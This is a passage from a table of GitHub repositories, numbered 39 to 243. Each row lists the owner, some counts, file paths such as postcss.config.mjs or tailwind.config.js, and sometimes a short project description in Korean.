postcss.config.mjs | Hostella 관리자 플랫폼 | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Hostella 학생 기숙사 예약 플랫폼 | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | 사용자 포털 + 관리 계층 | 할당량 관리, 규칙 시행, API 키 검증. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | 온체인 에이전트 레지스트리를 사용하여 #FedArch 오케스트레이션 인프라 클라이언트를 구축합니다. ETHDenver 2026 해커톤 제출물입니다. | | | 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | iframe 접근 방식을 테스트하기 위한 데모 React 앱이 포함되어 있습니다. | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - AI 기반 이벤트 집계 엔진 (ETHDenver via Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | Olas 생태계(사용자가 온체인 상호작용을 위해 MCP 애플리케이션을 실행할 수 있도록 하기 위한)에 대한 해당 UI 목업 워크플로우로 구성됩니다. | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow는 연구자, 학생, 교수, 학술 팀을 위해 설계된 SaaS 플랫폼으로, 컬렉션, 주석, 검색 및 공유 연구 라이브러리에서의 팀 협업을 통해 연구 논문을 업로드, 정리 및 검토할 수 있습니다. | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | 주민이 바랑가이 홀을 방문하지 않고 온라인으로 바랑가이 문서를 요청할 수 있는 웹 기반 시스템입니다. 주민은 요청 상태를 추적하고, 이메일 알림을 받고, 요청 내역을 볼 수 있습니다. 바랑가이 관리자는 요청을 관리하고, 상태를 업데이트하고, 거래 내역을 추적할 수 있습니다. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Next.js, TypeScript, TailwindCSS 및 Ant Design을 사용하여 구축된 풀스택 자동차 서비스 시간 기록 및 예약 시스템입니다. 프론트엔드에는 고객 및 직원 포털, 실시간 서비스 추적, 예약, 시간 기록 및 컨테이너화된 배포가 포함됩니다. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | AI를 사용하여 PDF 파일을 Q&A 형식의 리뷰어로 변환하는 웹 앱입니다. 사용자는 저장하기 전에 생성된 출력을 사용자 정의할 수 있습니다. 사용자는 저장된 AI 생성 리뷰어를 사용하여 검토하고 사용자 정의 가능한 퀴즈를 풀 수 있습니다. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | 다양한 시스템과 시간대에 걸쳐 거래 성과를 추적, 분석 및 개선할 수 있는 전문 트레이딩 저널입니다. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | 해커톤 프로젝트 | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | Finance Ai Coach | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | 필수 도구, 매우 빠른 성능, 오프라인 지원 기능으로 워크플로를 간소화하고 훌륭한 코드 작성에 집중할 수 있도록 설계되었습니다. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | 캡스톤 프로젝트는 소프트웨어 공학(SE) 및 컴퓨터 과학 및 공학(CSE) 프로그램 학생들을 위한 최종 학업 및 실무 경험입니다. | | | 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa는 환자가 실시간 인앱 화상 통화를 통해 인증된 의사와 상담하고, 디지털 처방전을 받으며, 안전하고 전문적인 환경에서 원격으로 의료 서비스를 관리할 수 있는 웹 기반 원격 의료 플랫폼입니다. 데모나 학술 목업이 아닌 배포 가능한 프로덕션 등급 시스템입니다. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas는 가젯 및 모바일 기기 판매에 중점을 둔 현대적인 풀스택 전자상거래 플랫폼입니다. Next.js, Redux Toolkit 및 MongoDB로 구축되어 사용자에게 안전하고 반응이 빠르며 원활한 쇼핑 경험을 제공하고 관리자에게 강력한 관리 도구를 제공합니다. | | | 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | Gmail 통합, 스마트 티켓팅, 자동 응답, Shopify 통합 및 실시간 팀 협업을 갖춘 AI 기반 고객 지원 플랫폼입니다. | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | Instagram, Facebook, TikTok 등과 같은 소셜 미디어 앱의 인앱 브라우저를 우회합니다. 사용자가 소셜 미디어 광고를 클릭할 때 기본 브라우저로 보내 참여도를 높이고 정확한 추적을 제공하며 전환율을 높입니다. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — SLIIT에서 ITPM 프로젝트로 개발된 스마트 청구 관리 시스템입니다(3학년 2학기). MERN 스택으로 구축되어 정확성과 효율성으로 보험 청구 프로세스를 간소화하고 자동화합니다. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | MODUS 학습 플랫폼인 3학년 2학기 정보 기술 프로젝트 관리 프로젝트입니다. | | | 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | 지속 가능한 투자 포트폴리오를 위한 테마 기반 투자 플랫폼의 예측 마켓플레이스를 구축합니다. | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | 가중치 요소, 개별 요소 등급, 보너스 포인트 및 문자 등급을 사용하여 거래 진입을 구성하고 등급을 매깁니다. | | | 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - FastAPI, React, MongoDB, Stripe Payments 및 AI 튜터를 갖춘 다중 강사 학습 플랫폼 | | | 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | 백엔드 저장소입니다. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | UP SKale AI 학생용(학습자) 및 (수익자) 앱 (졸업 프로젝트) | | | 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | 우리 팀은 katy youth 해커톤 2025에 참가했으며, 통합 챗봇이 포함된 완전한 기능의 웹사이트를 구축하고 있습니다. 이 챗봇은 학생들의 진로를 안내하는 일종의 진로 상담사 역할을 할 것입니다. | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | React 다단계 양식 교육 프로젝트 | | | 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | 대화형 학습, 연습 세션 및 진행 상황 추적을 통해 영어 어휘를 구축하고 마스터할 수 있도록 도와주는 현대적이고 집중된 웹 애플리케이션입니다. | | | 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | 내 프로젝트, 경험, 자격증, 연락처 정보가 포함되어 있습니다. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News는 Next.js 기반의 뉴스 애플리케이션으로, 빠른 성능, SEO 최적화 및 서버 사이드 렌더링을 통해 정치, 스포츠, 기술, 엔터테인먼트, 실시간 업데이트 등 카테고리별 뉴스 콘텐츠를 제공합니다. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | 라이브 입찰 경험을 위해 구축된 실시간 경매 웹 애플리케이션으로, 즉시 업데이트, 스마트 입찰 및 사용자 간 실시간 통신과 같은 고급 기능을 결합합니다. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps는 대행사 및 중소기업이 클라이언트, 프로젝트, 팀 구성원 및 워크플로를 안전하게 관리할 수 있도록 설계된 풀스택 내부 운영 대시보드입니다. | | | 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | 모든 갈망을 한곳에서 | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3, aws CloudFront, Clerk을 사용하여 LMS를 구축합니다. | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js 인벤토리 관리자 Next.js 14 앱 라우터, Tailwind CSS, MongoDB 및 Redux Toolkit (RTK Query)로 구축된 풀스택 인벤토리 관리 시스템입니다. 이 앱은 NextAuth.js(Google, GitHub)를 통한 소셜 인증과 JWT를 사용한 기존 이메일/비밀번호 로그인을 모두 지원합니다. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | API에서 데이터를 가져오고 연습 및 대략적인 작업용입니다. | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | 안전하고 사용자 친화적인 인증 시스템 | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | Vovk.ts Hello World App | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | 어휘 학습 웹사이트 | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | XRPL 해킹 대회 제출물: 영향 증명서의 가격 모니터링 및 시장 조성을 위한 RAG 에이전트 프레임워크 개발 | | | 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | Free CodeCamp 프론트엔드 라이브러리 인증 과제 | | | 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | 